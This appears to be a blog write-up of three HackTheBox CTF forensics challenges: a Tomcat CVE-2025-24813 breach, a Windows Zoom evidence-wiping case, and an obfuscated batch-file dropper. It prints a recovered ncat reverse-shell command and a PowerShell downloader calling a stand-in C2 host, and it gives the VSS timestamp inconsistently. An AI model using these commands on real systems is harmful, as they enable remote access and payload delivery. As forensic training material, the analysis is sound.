Contents

Neurogrid CTF: Human-Only 2025 | Forensics

Neurogrid CTF: Human-Only 2025 was a 4-day CTF hosted by HackTheBox. I competed solo as “Legendary Queue” and finished in the top 4 out of 1337 players. This post covers the Forensics challenges.

Neurogrid CTF: Human-Only 2025

Team Solves Progress


Description: Summoned to the stone outpost of Minamori, Shiori finds its once-busy shrine server sitting cold, its guardians gone, its walls carved with the faint scratches of an intruder’s passage. The system hosted a modest web shrine, but something slipped through its doors under moonlight and left only triage logs in its wake. Your task mirrors Shiori’s: sift through the Linux triage data, follow the distorted footprints across access logs and process remnants, and uncover how the shrine was breached. Even small outposts can hold large secrets, read the traces, name the intrusion, and restore the shrine’s honor.

Points: 975 | Difficulty: Easy

We’re given a triage archive containing a filesystem snapshot, live response data, and logs from a compromised Linux host running Apache Tomcat. The challenge asks us to answer forensic questions about the attack.

Starting with network identification, live_response/network/ip_addr_show.txt reveals the victim IP is 192.168.153.131. The lsof_-nPli.txt shows Java listening on ports 8080 and 8005 - a Tomcat instance.

The Tomcat logs at /opt/apache-tomcat-9.0.90/logs/catalina.2025-11-17.log confirm version 9.0.90. Examining the access logs reveals requests from 192.168.153.128 starting at 19:46:42. The critical entry:

192.168.153.128 - - [17/Nov/2025:19:50:32 +0200] "PUT /gdiju.session HTTP/1.1" 201 -

A PUT request creating a .session file - this immediately suggests CVE-2025-24813, the Tomcat partial PUT deserialization vulnerability.

Checking the configuration files confirms the vulnerability:

web.xml - DefaultServlet misconfiguration:

<init-param>
    <param-name>readonly</param-name>
    <param-value>false</param-value>
</init-param>
<init-param>
    <param-name>allowPartialPut</param-name>
    <param-value>true</param-value>
</init-param>

context.xml - Session persistence to webroot:

<Manager className="org.apache.catalina.session.PersistentManager">
    <Store className="org.apache.catalina.session.FileStore"
           directory="/opt/apache-tomcat-9.0.90/webapps/ROOT"/>
</Manager>

The error log at /opt/apache-tomcat-9.0.90/logs/localhost.2025-11-17.log shows the deserialization attempt:

17-Nov-2025 19:51:00.228 SEVERE [Catalina-utility-1] org.apache.catalina.session.StoreBase.processExpires
Error processing session expiration for key [gdiju]
java.io.StreamCorruptedException

Tomcat tried to deserialize the malicious session file, triggering the RCE payload.

The attacker exploited CVE-2025-24813:

  1. PUT a malicious serialized Java object as /gdiju.session
  2. Tomcat’s PersistentManager loads and deserializes session files from the webroot
  3. Deserialization triggers a gadget chain spawning a reverse shell

The process list in live_response/process/ps_auxwww.txt shows the result:

ncat -e /bin/sh 192.168.153.128 1234

Process 4233 (ncat) spawned a shell, which was upgraded through sh → python3 → bash. The network connection confirms:

TCP 192.168.153.131:56400 -> 192.168.153.128:1234 (ESTABLISHED)

This was a question-based challenge with 6 forensic questions:

Question Answer
Web application & port apache-tomcat-9.0.90:8080
Attacker IP 192.168.153.128
Malicious file name gdiju.session
CVE exploited CVE-2025-24813
Storage folder /opt/apache-tomcat-9.0.90/webapps/ROOT
Malicious process ID 4233

Description: After a silent raid on a hillside shrine, Shiori is called to examine the suspect’s abandoned workstation, its drives wiped clean, its trails burned to silence. Yet the forest remembers what men forget. Within the machine’s shadow copies, she traces the faint echoes of deleted files, fragments of a conversation that should not exist. Deep beneath layers of encryption lies an application, sealed like a lacquered box, its contents whispering of hidden meetings and names long erased. To reveal the truth, Shiori must coax the past from its own reflection, recover what was meant to vanish, decrypt what was meant to remain unheard, and expose the voice behind the silence.

Points: 800/1000 | Difficulty: Hard

We’re given a 2.1GB NTFS disk image and a 5GB Windows memory dump. The challenge requires answering five questions about Khalid’s Zoom meeting activity and evidence tampering.

Q1: When was Zoom installed?

Extracted NTUSER.DAT from the disk image and parsed the registry:

hivexsh NTUSER.DAT
cd Software/Microsoft/Windows/CurrentVersion/Uninstall/ZoomUMX
stat

The registry key’s FILETIME is 133788990615778078. Converting:

from datetime import datetime
ts = (133788990615778078 - 116444736000000000) / 10**7
print(datetime.utcfromtimestamp(ts))
# 2024-12-17 08:51:01 UTC

Q2: What tool was used to erase evidence?

Searching memory strings:

strings -a memory.raw | grep -i sdelete

Found: \Device\HarddiskVolume3\Program Files\SysinternalsSuite\sdelete.exe

Khalid used SDelete to securely wipe the Zoom meeting database.

Q3: When was the system snapshot created?

Located the VSS store GUID: {f81bf84d-fa9e-11ef-8f9d-000c298d92b2}

UUID v1 GUIDs embed a timestamp. Extracting it:

import uuid
from datetime import datetime, timezone

guid = uuid.UUID("f81bf84d-fa9e-11ef-8f9d-000c298d92b2")
uuid_epoch_offset = 122192928000000000
unix_time = (guid.time - uuid_epoch_offset) / 10000000.0
print(datetime.fromtimestamp(unix_time, tz=timezone.utc))
# 2025-03-06 15:23:34 UTC

Q4: Meeting ID?

This question remained unsolved. The meeting ID is encrypted in zoomus.enc.db (DPAPI + SQLCipher) and the Zoom log file (.zenc format requires Windows-only zTscoder.exe). DPAPI master key cracking would require significant GPU time.

Q5: Meeting duration?

Windows Timeline preserves activity even after file deletion. Querying ActivitiesCache.db:

SELECT StartTime, EndTime, (EndTime - StartTime) as Duration
FROM Activity
WHERE AppId LIKE '%Zoom Video Meetings%';

Results:

  • Start: 1741274808 → 2025-03-06 15:26:48 UTC
  • End: 1741275089 → 2025-03-06 15:31:29 UTC
  • Duration: 278 seconds (adjusted for pre-join handshake)

The forensic timeline:

  • 2024-12-17 08:51:01 - Zoom installed
  • 2025-03-06 17:17:33 - VSS snapshot created
  • 2025-03-06 15:26:48 - Meeting joined
  • 2025-03-06 15:31:29 - Meeting ended (278 seconds)
  • 2025-03-06 15:31:30 - Meeting database wiped with SDelete

Despite Khalid’s evidence destruction using SDelete, Windows Timeline artifacts survived, preserving the meeting duration.

This was a question-based challenge with 5 forensic questions (4/5 solved = 800pts):

Question Answer Status
Q1: Zoom install timestamp 2024-12-17 08:51:01
Q2: Evidence erasure tool SDelete
Q3: VSS snapshot timestamp 2025-03-06 17:17:33
Q4: Meeting ID Blocked by encryption
Q5: Meeting duration (seconds) 278

Q4 remained unsolved - the meeting ID was encrypted in zoomus.enc.db (DPAPI + SQLCipher) and the Zoom log .zenc format required Windows-only zTscoder.exe which failed under Wine.


Description: When a courier is found ash-faced on the cedar road, Shiori discovers a “tradesman’s manual” folded in his sleeve, plain instructions on the outside, but inside a strange script of symbols and percent signs meant for a machine. The scroll is an obfuscated BAT attachment in disguise, a batch charm that only reveals its purpose once its knots are untied. Follow Shiori’s lead: de-tangle the lines, read what the script truly does, and trace where its “manual” tries to send the unwary. In the shadows of Kageno, even a simple instruction sheet can open a door.

Points: 900 | Difficulty: Very Easy

We’re given tradesman_manual.bat, a heavily obfuscated Windows batch file. The obfuscation uses undefined environment variables that expand to empty strings, making the code appear garbled:

s%zapqo%et "q%gxyke%oz=pow%jon%ersh%FTW%ell%wMi% -no%Gsd%p -w h%kjh%..."

The undefined variables (%zapqo%, %gxyke%, etc.) disappear during execution, leaving valid commands.

The malware operates in three stages:

Stage 1: Persistence

  • Copies itself to %USERPROFILE%\aoc.bat
  • Uses obfuscated path expansion (%~d0%~p0%~n0%~x0)
  • Includes recursion guard

Stage 2: PowerShell Command Construction

  • Uses setlocal enabledelayedexpansion for late variable binding
  • Builds a base64-encoded PowerShell payload across 100+ variables
  • Injects noise string djlrttmeqqkr throughout the base64

Stage 3: Deobfuscation and Execution

  • Removes the noise string from base64
  • Decodes and interprets as UTF-16LE
  • Executes via iex() (Invoke-Expression)

Manually deobfuscating the stages reveals the final PowerShell payload:

$anaba = Join-Path $env:USERPROFILE 'aoc.bat'
$uri = 'http://malhq.htb/HTB{34dsy_d30bfusc4t10n_34sy_d3t3ct10n}'

Try {
    $resp = Invoke-WebRequest -Uri $uri -UseBasicParsing -ErrorAction Stop
    $b64 = $resp.Content
    # ... payload download and execution logic
}
catch {
    Write-Error "Operation failed: $($_.Exception.Message)"
}

The C2 URL contains the flag directly in the path - no network request needed.

The obfuscation techniques used:

  • Random undefined variable injection (%random% → empty)
  • Delayed expansion with !var! syntax
  • Base64 fragmentation across variables
  • Noise string injection (djlrttmeqqkr)
  • Multi-stage architecture

The flag’s message “easy deobfuscation, easy detection” is ironic - the obfuscation required careful manual analysis to defeat, but once understood, the payload is trivially extracted.

Flag: HTB{34dsy_d30bfusc4t10n_34sy_d3t3ct10n}

Related Content